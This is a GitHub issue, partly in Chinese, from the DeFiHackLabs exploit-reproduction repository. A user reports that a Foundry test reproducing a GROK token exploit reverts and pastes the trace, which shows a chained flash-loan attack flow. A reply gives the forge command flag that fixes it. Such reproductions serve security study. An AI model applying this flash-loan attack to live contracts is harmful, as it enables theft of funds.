大哥有个exp复现出错
wooyun-Evil opened this issue · 1 comments
wooyun-Evil commented
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/grok_exp.sol
Running 1 test for src/test/grok_exp.sol:ContractTest
[FAIL. Reason: EvmError: Revert] testExpolit() (gas: 8660281895700906382)
Logs:
attaker balance before attack:: 0.000000000000000000
Traces:
[8660281895700906382] ContractTest::testExpolit()
├─ [2534] WETH::balanceOf(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
├─ [2444] WETH::decimals() [staticcall]
│ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000012
├─ emit log_named_decimal_uint(key: attaker balance before attack:, val: 0, decimals: 18)
├─ [8660281895700888014] 0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa::flash(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0, 30000000000000000000 [3e19], 0x00)
│ ├─ [2534] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::balanceOf(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa) [staticcall]
│ │ └─ ← 0x000000000000000000000000000000000000000000000194948decbd3a9dbeba
│ ├─ [2534] WETH::balanceOf(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa) [staticcall]
│ │ └─ ← 0x0000000000000000000000000000000000000000000000cfa2e42703ab1d8964
│ ├─ [25962] WETH::transfer(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 30000000000000000000 [3e19])
│ │ ├─ emit Transfer(from: 0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa, to: ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 30000000000000000000 [3e19])
│ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ ├─ [8660281895700842691] ContractTest::uniswapV3FlashCallback(0, 3000000000000000 [3e15], 0x00)
│ │ ├─ [8660281895700836567] 0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B::flash(ContractTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 63433590767572373 [6.343e16], 0, 0x00)
│ │ │ ├─ [39] GROK::balanceOf(0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B) [staticcall]
│ │ │ │ └─ ← EvmError: NotActivated
│ │ │ └─ ← EvmError: Revert
│ │ └─ ← EvmError: Revert
│ └─ ← EvmError: Revert
└─ ← EvmError: Revert
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.97s
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in src/test/grok_exp.sol:ContractTest
[FAIL. Reason: EvmError: Revert] testExpolit() (gas: 8660281895700906382)
Encountered a total of 1 failing tests, 0 tests succeeded
rickkk137 commented
forge test --evm-version shanghai --match-path src/test/grok_exp.sol -vvv
you have to use --evm-version shanghai